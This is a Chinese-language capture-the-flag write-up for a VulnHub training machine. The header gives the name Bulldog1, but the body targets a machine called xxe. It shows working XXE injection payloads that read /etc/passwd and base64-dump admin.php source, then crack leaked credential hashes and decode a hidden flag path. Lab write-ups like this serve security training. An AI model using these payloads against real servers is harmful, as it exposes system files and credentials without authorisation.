【VulnHub xxe】Xml外部实体注入攻击
名称:Bulldog1
发布日期:2017 年 8 月 28 日
难度:初级
下载链接:https://www.vulnhub.com/entry/bulldog-1,211/
信息收集
主机发现
端口扫描
访问Web页面
目录扫描
访问robots.txt
访问/xxe路径,一处登陆点
暴破无果,继续扫下一级目录
又是一处登陆点,依然没有头绪....
回到/xxe/登陆点,抓个包查看,发现请求内容是xml数据格式,靶机名叫xxe,这思路不就来了吗
利用XXE注入,读取任意文件
使用XXE注入,读取/etc/passwd
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><name>&xxe;</name><password>123</password></root>
使用php协议,查看admin.php文件内容
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=admin.php">
]>
<root><name>&xxe;</name><password>123</password></root>
进行base64解密,得到网站源码,拿到用户名和密码的md5值
解密得到密码
使用账号密码登录admin.php,得到红色的Flag链接。
点进去后一片空白,查看网页源码,发现一处注释
先进性base32解码后在进行base64解码
解码前:JQZFMMCZPE4HKWTNPBUFU6JVO5QUQQJ5
Base32:L2V0Yy8uZmxhZy5waHA=
Base64:/etc/.flag.php
继续使用xxe读取文件,像是php代码
在线php代码运行工具跑一跑,得到flag
总结
1、xxe漏洞利用
2、base32和base64的区别